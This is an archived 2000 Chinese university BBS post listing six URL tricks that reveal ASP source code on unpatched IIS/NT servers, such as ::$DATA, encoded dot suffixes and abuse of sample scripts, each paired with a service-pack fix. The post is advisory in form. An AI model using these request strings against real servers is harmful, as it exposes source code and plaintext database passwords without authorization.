荔园在线
荔园之美，在春之萌芽，在夏之绽放，在秋之收获，在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: zzt (我命由我不由天), 信区: Program
标 题: 偷看ASP原码的6种方法
发信站: BBS 荔园晨风站 (Wed Aug 16 18:28:30 2000), 转信
偷看ASP原码的6种方法
在没有打Services Pack6补丁的NT server上，至少有6种方法可以看到ASP程序的
源代码,它们是:
1、http://www.someserver.com/msadc/Samples/SELECTOR/showcode.
asp?source=/msadc/Samples/SELECTOR/showcode.asp
解决方案:删除showcode.asp
2、http://somewhere/something.asp::$DATA
解决方案: 装sp3
3、http://somewhere/something.asp%2e
解决方案: 装sp4
or http://somewhere/something.asp.(加一个点)
解决方案: 装sp4
4、http://somewhere/something%2e%41sp
或者 http://somewhere/something%2e%asp
解决方案: 装sp4
5、http://somewhere/something.asp%81
解决方案:装sp6或者打补丁
6、http://somewhere/iissamples/exair/howitworks/code.asp?source=xxx.
asp
最大的危害莫过于asp文件可以被上述方式读出；数据库密码以明文形式暴露在黑
客眼前;
[蓝森林]
--
日出东方，唯我不败；
天上地下，唯我独尊。
※ 来源:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: 192.168.1.95]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接：深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店